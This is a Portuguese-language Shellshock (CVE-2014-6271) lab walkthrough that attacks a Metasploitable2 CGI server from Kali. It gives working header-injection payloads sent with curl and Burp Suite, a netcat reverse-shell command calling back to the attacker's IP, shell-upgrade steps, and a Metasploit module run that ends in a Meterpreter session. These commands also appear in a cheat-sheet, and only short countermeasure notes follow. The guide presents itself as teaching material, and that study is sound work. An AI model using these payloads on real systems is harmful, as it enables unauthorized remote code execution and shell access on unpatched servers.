
A complete, modern demonstration lab for CVE-2014-6271 (Shellshock), including architecture, exploitation steps, Burp Suite usage, reverse shells, countermeasures, and full command cheat-sheet.
Shellshock (CVE-2014-6271) é uma das vulnerabilidades de execução remota de código mais influentes já descobertas. A falha afeta o Bash e permite que atacantes executem comandos arbitrários simplesmente injetando payloads manipulados em variáveis de ambiente.
Este guia fornece uma demonstração completa e reproduzível usando:
É projetado para ensino, pesquisa, treinamento e conscientização geral sobre segurança cibernética.
Esta configuração simples de dois nós reflete muitas implantações legadas ainda presentes em sistemas industriais e IoT.
No Metasploitable2:
sudo su
cd /usr/lib/cgi-bin/
cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF
chmod +x shellshock.sh
a2enmod cgi
service apache2 restart
Teste o script a partir do Kali:
curl http://192.168.1.5/cgi-bin/shellshock.sh
Você deve ver as variáveis de ambiente exibidas.
O Shellshock ocorre quando o Bash analisa incorretamente variáveis de ambiente que se assemelham a definições de função.
Uma variável maliciosa como:
() { :; }; /bin/bash -c "id"
fará com que o Bash execute o comando após a definição da função — mesmo que a função nunca seja invocada.
Aplicações CGI são especialmente vulneráveis porque os cabeçalhos HTTP são automaticamente passados para os scripts como variáveis de ambiente.
curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh
A saída deve incluir:
Vulnerable
uid=33(www-data)
Isso confirma a execução remota de código.
Visite:
http://192.168.1.5/cgi-bin/shellshock.sh
Envie a requisição para o Repeater.
Substitua o cabeçalho User-Agent por:
User-Agent: () { :; }; echo; echo BurpTest; /bin/bash -c "id"
Você deve ver:
BurpTest
uid=33(www-data)
O Burp Suite confirma a vulnerabilidade de forma visual e educacional.
Inicie o listener no Kali:
nc -lvnp 4444
Dispare o reverse shell através do script CGI:
curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh
Um shell se conectará de volta ao Kali.
Dentro do reverse shell:
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Suspenda a sessão:
Ctrl + Z
No Kali:
stty raw -echo; fg
Pressione Enter.
Você agora tem:
┌────────────────────────┐
│ Atacante (Kali) │
│ 192.168.1.4 │
└───────────┬────────────┘
│
1. Cabeçalho HTTP Malicioso (Shellshock)
│
▼
┌──────────────────────────┐
│ Servidor Web Apache (CGI)│
│ 192.168.1.5 │
└───────────┬──────────────┘
│
2. Cabeçalho → Variável de Ambiente CGI
│
▼
┌──────────────────────────┐
│ Bash (Vulnerável) │
└───────────┬──────────────┘
│
3. Comando Injetado Executa
│
▼
┌─────────────────────────┐
│ Acesso ao shell www-data│
└───────────┬─────────────┘
│
4. Reverse Shell → Kali
│
▼
┌──────────────────────────┐
│ TTY Interativo Completo │
└──────────────────────────┘
Uma demonstração visual das principais etapas do ataque.
| Descrição | Imagem |
|---|
Aplicar patch para uma versão que trate corretamente a análise de funções.
CGI legado introduz risco sistêmico desnecessário.
Descartar padrões suspeitos como:
() { :; };
Restringir permissões do usuário do servidor web (www-data).
Impede reverse shells e exfiltração de dados.
Assinaturas modernas de WAF detectam Shellshock imediatamente.
Contém processos Bash e bloqueia comportamentos não intencionais.
Usar ferramentas como:
http-shellshock.nse)sudo su
cd /usr/lib/cgi-bin/
cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF
chmod +x shellshock.sh
a2enmod cgi
service apache2 restart
curl http://192.168.1.5/cgi-bin/shellshock.sh
curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh
nc -lvnp 4444
curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh
Dentro do shell:
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Suspender:
Ctrl + Z
No Kali:
stty raw -echo; fg
Pressione Enter.
O Metasploit oferece uma forma profissional e automatizada de explorar Shellshock usando o módulo embutido:
exploit/multi/http/apache_mod_cgi_bash_env_exec
Este método é rápido, confiável e oferece preparação automática de payload (ex.: Meterpreter).
msfconsole
search shellshock
Você deve ver (entre outros):
exploit/multi/http/apache_mod_cgi_bash_env_exec Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)
auxiliary/scanner/http/apache_mod_cgi_bash_env Apache mod_cgi Bash Environment Variable Injection (Scanner)
use exploit/multi/http/apache_mod_cgi_bash_env_exec
Definir IP alvo:
set rhosts 192.168.1.5
Definir caminho CGI vulnerável:
set targeturi /cgi-bin/shellshock.sh
Definir seu IP Kali:
set lhost 192.168.1.4
Opcionalmente, definir porta de escuta:
set lport 4444
Verificar:
options
Você deve ver:
RHOSTS 192.168.1.5
TARGETURI /cgi-bin/shellshock.sh
LHOST 192.168.1.4
LPORT 4444
METHOD GET
HEADER User-Agent
CVE CVE-2014-6271
run
Em caso de sucesso:
[*] Started reverse TCP handler on 192.168.1.4:4444
[*] Command Stager progress - 100.00%
[*] Sending stage ...
[*] Meterpreter session 1 opened ...
sessions -i 1
Você agora tem:
meterpreter >
shell
Depois:
id
hostname
Esperado:
uid=33(www-data) gid=33(www-data)
metasploitable
Você obteve execução remota de comandos usando Metasploit e Shellshock.
Esta demonstração mostra como Shellshock pode ser explorado usando simples manipulação de cabeçalhos HTTP, reverse shells, execução de scripts CGI e automação com Metasploit. Apesar de ter mais de uma década, Shellshock continua sendo uma lição importante em:
Feito com muito amor por:
Haitham de Omã ❤️🇴🇲
| Componente | Função | SO | Endereço IP | Serviços Chave |
|---|
| Kali Linux | Atacante | Kali Linux (última) | 192.168.1.4 | curl, Burp Suite, Netcat |
| Metasploitable2 | Servidor vulnerável alvo | Ubuntu Linux (MSF2) | 192.168.1.5 | Apache 2.2, scripts CGI, Bash |
| Apache mod_cgi | Execução de scripts | Executado no MSF2 | n/a | Expõe Bash via CGI |
| shellshock.sh | Ponto de entrada vulnerável | Bash CGI | n/a | Exibe variáveis de ambiente |
| Varredura Nmap + saída do teste Shellshock | ![]() |
| Burp Suite – Requisição Shellshock inicial | ![]() |
| Burp Suite – Injeção de payload/cabeçalho | ![]() |
| Reverse shell recebido no Kali (nc) | ![]() |